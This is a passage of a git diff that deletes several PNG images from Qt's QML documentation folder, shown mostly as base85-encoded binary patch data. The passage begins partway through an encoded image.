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 diff --git a/src/qml/doc/images/declarative-anchors_example.png b/src/qml/doc/images/declarative-anchors_example.png deleted file mode 100644 index 293cd4b3628267c50dd7174b70deecccb7a9882b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3654 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 diff --git a/src/qml/doc/images/declarative-anchors_example2.png b/src/qml/doc/images/declarative-anchors_example2.png deleted file mode 100644 index 6d3be7d05d836a3186fe2b2d2641b7200f160949..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3819 zcmV8NyCDAG?qDDo_TVq5MF<=zp0Un8XKTn<_bpGgGci+0Z zGyC4#on7AdtD2hLnQ!{*J!WU7zwZ73ZUPi|4A{VB1)6~+F7FLokvdc?VmAqp% z2j;ju9XQtIXMj<8?FIo0T|N-F)aBcNNiMg!?sk7Y5t!}r`M?yHUjSP2bhr36^)@qH zp6xmmXm{Oh{(6%4t!~SKE-!Rjv${w5dzr4Plv{xDz}7%7?{{Nhpvz<2&WXMr~Y17lqtP+{NexV#3ik;{F6t$eAp z@68JO-psdmrtdz!Z6j|p(T^F~iN42r`-yJ*XqN~2d&}<|^$&5dD{BE-{0A}2U-$7Z zy2X|Bc6pe$Yw;y=<6D6KKwpT)x%S`ppDUH1ro-3$9+xA+^)>K+1Q@^oi> zTZ^|D;PN2X(E^Nc-NXHLZ|}RsZE1FSsN0&=-2~i1%*llPkRJu^_RnJua0#%b%hRww zs5!o#=JNM}D_!pI>zjaeT|NW&k;{hyN4mTNaE{9(fmvnxJ_*?0<=wD9y*b#)SV`Z% zaCuwcLYGGXclc6i-`5rNeVuRbOy47X+lAg{jvsSqC;Fc5?dQ1dC%L?(zqf4PZG!## zZl|gr5Qs%YdI2j{bw!yrEx-U(eYJL$1=2)BuF7DSsSndOrhzyQ_<2m5$-s#UG_vw}So;!MvGItLhWA z?!O4%%U~|yfoWUPK>{c((bC{mN1}G(MOB#r2 zzyUFB<^WgJz?MM$Fd@S3J7)r4q-#sV@CopFOq;EN^?{43Z%)?{k#(@EX)Ev*@CxvX zs#f%y5RqmqtY%H%AFBF#1;?%qY=T8xybdf-)z2#FKV`;6zysI^7)XGsPEF9PA)c8; z9;2rT_!DptdC%V>vIy8mRZDt4MPyyzM&JhpyHrH31*TPc zQm4fH2#Y;xq1H6UBFm8nf%bthDp#8Lr zj%>W*LD*2hT;O|HEZzFRGa|B^s{XC;KoQv&i~k#d4bMCVyn$UMcfsQ6b`+5bs#@>Q z^`C%8TE|5}hvnNK)|tcyx=sNuP1{ztKawOSxel4sp`$--sdqfs;*bnSp~^yRz6uRhn@%CRRFPIPkh&FLB>ugt#d+Hn=E*Os>fH(Yse3Y*FF)=XAdurV>^80(3xJ1eU`ton#Ml2S z(`HgaT{{%p=!3c0!PwWb+g0^*Y)lJmJZe?olnn4k;LEfvX&|n~ij_1vS%=deUe}@n zBC-o5PLd*=Dk8<=I}gC}zgF^H@8+exK2AioET>#V8es_Ms0Wc-(U51S@ zH31Ka$cZ8{AiL9btS2Hfuvoo%=U}MQ2nZ}3ryaN=ZCeWLnn`>F#AslPv~6`;ibgsW+^r)Bj%g_ndY@i{%5*H+!$#lZ5s zZ7Yf#TW=8%Z4nj=RnE1U7QHd|a=q25IG*^=Yb+N1Tn`S2zhm_eJ0vu!s*1?2z^^f< z%37GS;5qCBI19_peVpR?Zg2X&H&yi(5&6>fY>PdEF97ZX&QR5&#bs1=F|d<}9D&95 zZGgq~33gRn0{j)bN)|E?`yLh-*_Q^}3sBAzlNus&12$@Yv#KT?i>Nvxau%>yRc|cQ zW(u&ms@DCWZ59#f3w*8R$BYu|Qq^VgEsGx8535U9cfZMUh{$}wE|sksLW&ZRBx+nl z1_FIl^}U)I7DyElX=?;8NxgABaBobTP=vDQu}%bRNEJ$biO3mPoY!5ddcTP5k9mEz z#j<*z0dCaqdU>+PABzoqKA{B>$$4!e;ArgLej{?lG#3GP0rywocA=H{@T=bBM*agm zgEznuvIbYdyYV7+3;7#t){1cY2#^O6=bZbFFHbW%nw)ubISq^ZEj- zrR`w~OYIim$p{;mt7fUMpJCH^T!sx0FTpZ7FTx^~{~{t=sp|7d6^h6xY@DPYc2zyi zU%!QUgT`Z5EbXTEkk4G=BOnd{_7jn#fJ3m+|JSe@Z_i*}$}NC@<=R`^)}Z#7#mPN4$Gx_5Stojk?YwB^V0RNpznED*wH*}EOMgj z9plTbz^)bay*f72$DOXL6}Z;>ThWQW_i&xrzTd|@j6bQc@2@bA;St#H^Cisr^_+hu z6B6`&RfH8OtY+H!I>4E#IwNn}lOnPs_9n+;ZrI%`(0Ms_BE11j)Q--Rg}%%xF)H6x z9wk0vc>IojtCreYbbA@Aka!YCzt1mAzF@ z()S>+oSS}Cxa?(b^FE=(Ef26Sxm&Vv1^bHL=3!U0>@kO>a5OIyPIgA?i-=Id0_>_y}{5ji!Dz61452AdjX zSX{#{(3)_6$tzd^*;uSmowBCu^rHUa1p{?JEq)YZOYIPmHOO6&mL$~oimzKmWU#8% zx}?_mg#52S5i&qut!`Z2_99a1gv!nhyNu)!)^jljfRMZxM|ZL#7MT$UbRYvP6p?D) z=4F5@MWjQ88xh$I$Ub{qsR?I$S1WFq4Kkf7BKs90dVA~F$+oH!LL`nYF7v(KnbiQ;#tuJ<$0 zphQ@l(!Er1AW~Hy7Liu(D?e&{u9nEc1b&Of^Zl=c&aZ&eMC58L#%yD(XyQ9qIMG8| zodmOET>pY9=ngb65ik{d2C3?_GHQj{AMhnf`+p~Fw*>P9)@nlLH%V4BG0?+^u=#O1 zm15jOxtNX>Ndp1EJZ-lTPNqt@3@daW2y`F=+)wgQo&O4Akcvb3kZ#yN->b*d2;i#1_Iv_0cR3F zM{6L*y@WyTKoK%nIpKPoQl?%x9XLE~BLekD2CGOpFs@r9@O}o05F#Kd=VF5QGf;#Kmg*fc zN0Sq(69tNr!5k1n(l(@l*bdkj&E^C00$9wX3xJYyixfe4!q_Hq#!0HCT%ySbN;?_$qqk#BGE=?&ipwtmEqS_Ie4BdzGhCjH6~9!V-F3J5>&gDU)ZgcUE-!Rjv${uNv(hVY ha@x~9hNV82{{wu(JrkGAqbvXb002ovPDHLkV1g6GST6to diff --git a/src/qml/doc/images/declarative-arcdirection.png b/src/qml/doc/images/declarative-arcdirection.png deleted file mode 100644 index 28f4dc2e51e2aeca5770cd2912b6ef078ee55896..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8422 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 